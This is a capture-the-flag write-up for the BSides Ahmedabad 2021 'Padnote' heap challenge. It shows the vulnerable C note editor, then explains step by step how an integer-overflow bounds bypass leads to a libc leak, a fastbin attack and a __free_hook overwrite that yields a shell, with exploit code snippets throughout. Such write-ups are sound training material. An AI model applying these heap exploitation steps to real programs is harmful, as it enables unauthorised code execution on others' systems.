Padnote
BSides Ahmedabad CTF 2021
Introduction
I proudly released the world most secure note after aggressively tested the source code with AFL and CodeQL, and didn’t find any bugs.
Author: ptr-yudai
You can download the challenge archive from here
The Bug
Lets look the source code, the bug is in EditNote function
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
void EditNote(Note *note) {
int offset, count, epos;
/* Check if note is empty */
if (!note->content)
CHECK_FAIL("Note is empty");
/* Input offset */
printf("Offset: ");
if (scanf("%d%*c", &offset) <= 0)
exit(0); // IO error
/* Input count */
printf("Count: ");
if (scanf("%d%*c", &count) <= 0)
exit(0); // IO error
/* Security check */
if (offset < 0)
CHECK_FAIL("Invalid offset");
if (count <= 0)
CHECK_FAIL("Invalid count");
if ((epos = offset + count) < 0)
CHECK_FAIL("Integer overflow");
if (epos > note->size)
CHECK_FAIL("Out-of-bound access");
/* Edit content */
printf("Content: ");
ReadLine(¬e->content[offset], count);
}
Variable offset, count and epos using integer. So we can trigger Integer overflow here.
But how?
Value of INT_MAX is +2147483647.
Value of INT_MIN is -2147483648.
What if we input INT_MAX+1 or INT_MIN-1? What will happen? Here i wrote example program
We can see if we input INT_MAX+1 it will convert to INT_MIN and if we input INT_MIN-1 it will convert to INT_MAX
So with this we can bypass the security check by input INT_MIN+x to count, since int is 32bit then we can also by pass
(epos = offset + count) < 0
lets try this.
Solution
Trigger Bug
First we create note with any size
add(0, 0x30, b'Linz')
Check the heap on gdb.
Next we try edit with offset is the size and count INT_MIN-1.
We can see we get no error from our input. Next we see the heap on gdb to check the result.
Nice we successfully overwrite the top chunk with integer overflow.
Next step is we need to leak libc.
Leak LIBC
This part a bit challenging because when ce create note, it use calloc
instead of malloc
.
Also we only can malloc with 4 index.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
void CreateNote(Note *note) {
int size;
char *content;
/* Check if note is empty */
if (note->content)
CHECK_FAIL("Note is in use");
/* Input data length */
printf("Size: ");
if (scanf("%d%*c", &size) <= 0)
exit(0); // IO error
/* Security check */
if (size <= 0)
CHECK_FAIL("Size must be larger than 0");
/* Initialize note */
if (!(content = (char*)calloc(sizeof(char), size)))
CHECK_FAIL("Could not allocate the memory");
/* Input content */
printf("Content: ");
ReadLine(content, size);
note->content = content;
note->size = size;
...
if (index < 0 || index >= MAX_NOTE) {
puts("Invalid index");
continue;
}
...
}
The different between calloc and malloc that i know calloc doesnt reuse tcache. So it is a bit tricky to leak libc.
Here how we can leak libc.
- Create 7 notes to fill tcache and delete it.
for i in range(7): add(0, 0x60, str(i)*8) delete(0)
- Now Create 2 notes for initial overwrite
add(0, 0x30, b'0'*8) add(1, 0x30 ,b'1'*8)
- Create big size malloc to get unsorted bin
add(2, 0x440, b"2"*8)) #Unsorted bin add(3, 0x30, b'3'*8) #Small chunk
Here how it looks like
- Overwrite index 1 size, to 0x491 then we free index 1.
edit(0, 0x30, -0x80000001, b'A'*8+p64(0x491)) delete(1)
- Create 1 note again, with this we can leak libc on index 2
add(1, 0x30, b'1'*8)
- Print note 2 to get libc leak
view(2) p.recvuntil(b'Content: ') leak = u64(p.recvn(6)+b'\x00'*2) libc.address = leak - libc.sym['__malloc_hook'] & ~0xfff print(hex(libc.address))
Gain Shell
We already get libc leak, for gaining the shell, we just use fastbin attack, i will not explain detail about fastbin attack here, you can read
some article about that here.
- We clear notes index first, next create notes to prepare fastbin attack, since we already full tcache for size 0x60, so we create notes with size 0x60
because when we free it, it will move to fastbin.
add(0, 0x60, b'0'*8) add(1, 0x60, b'1'*8) add(3, 0x60, b'3'*8) # delete 1 & 3 it will ove to fastbin delete(3) delete(1)
- Edit note index 0 to overwrite fastbin index 1, here i overwrite fastbin to __free_hook-xxxxx since we can overwrite __free_hook with overflow later.
edit(0,0x60, -0x80000001, b'X'*8+p64(0x71)+p64(libc.address+0x1ed560+165))
- Next create 2 notes, note index 2 will be calloc to our target
add(1,0x60,b'/bin/sh\x00') add(3,0x60,b'\x00'*0x23+p64(0xdeadbeef))
- Calculate the offset to __free_hook then overwrite __free_hook to system, delete note 1 and SHELL!
edit(3,0x60-1-4, -0x80000001, b'\x00'*0x14b8+p64(libc.sym['system'])) delete(1)
You can see the full script here